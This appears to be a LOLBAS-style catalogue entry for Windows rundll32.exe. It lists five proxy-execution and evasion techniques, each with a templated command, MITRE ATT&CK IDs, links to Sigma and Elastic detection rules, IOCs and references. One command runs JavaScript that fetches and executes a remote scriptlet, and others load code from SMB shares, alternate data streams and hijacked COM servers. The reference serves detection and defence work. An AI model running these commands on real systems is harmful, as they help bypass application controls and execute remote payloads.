Rundll32.exe

First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.

Use Execute DLL file

rundll32.exe {PATH},EntryPoint

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.011

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml

IOC: Outbount Internet/network connections made from rundll32

IOC: Suspicious use of cmdline flags such as -sta

Refs

pentestlab.blog/2017/05/23/applocker-bypass-rundll32/

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7

oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

github.com/sailay1996/expl-bin/blob/master/obfus.md

github.com/sailay1996/misc-bin/blob/master/rundll32.md

nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90

www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

lolbas-project.github.io/lolbas/Binaries/Rundll32/

Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.

Use Execute DLL from SMB share.

rundll32.exe {PATH_SMB:.dll},EntryPoint

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.011

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml

IOC: Outbount Internet/network connections made from rundll32

IOC: Suspicious use of cmdline flags such as -sta

Refs

pentestlab.blog/2017/05/23/applocker-bypass-rundll32/

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7

oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

github.com/sailay1996/expl-bin/blob/master/obfus.md

github.com/sailay1996/misc-bin/blob/master/rundll32.md

nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90

www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

lolbas-project.github.io/lolbas/Binaries/Rundll32/

Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

Use Execute code from Internet

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.011

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml

IOC: Outbount Internet/network connections made from rundll32

IOC: Suspicious use of cmdline flags such as -sta

Refs

pentestlab.blog/2017/05/23/applocker-bypass-rundll32/

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7

oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

github.com/sailay1996/expl-bin/blob/master/obfus.md

github.com/sailay1996/misc-bin/blob/master/rundll32.md

nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90

www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

lolbas-project.github.io/lolbas/Binaries/Rundll32/

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

Use Execute code from alternate data stream

rundll32 "{PATH}:ADSDLL.dll",DllMain

Evidence

Upstream reference

Environment

Local host

Context

user

Native

ADS

MITRE

T1564.004

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml

IOC: Outbount Internet/network connections made from rundll32

IOC: Suspicious use of cmdline flags such as -sta

Refs

pentestlab.blog/2017/05/23/applocker-bypass-rundll32/

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7

oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

github.com/sailay1996/expl-bin/blob/master/obfus.md

github.com/sailay1996/misc-bin/blob/master/rundll32.md

nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90

www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

lolbas-project.github.io/lolbas/Binaries/Rundll32/

Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

Use Execute a DLL/EXE COM server payload or ScriptletURL code.

rundll32.exe -sta {CLSID}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.011

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml

IOC: Outbount Internet/network connections made from rundll32

IOC: Suspicious use of cmdline flags such as -sta

Refs

pentestlab.blog/2017/05/23/applocker-bypass-rundll32/

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7

oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

github.com/sailay1996/expl-bin/blob/master/obfus.md

github.com/sailay1996/misc-bin/blob/master/rundll32.md

nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90

www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

lolbas-project.github.io/lolbas/Binaries/Rundll32/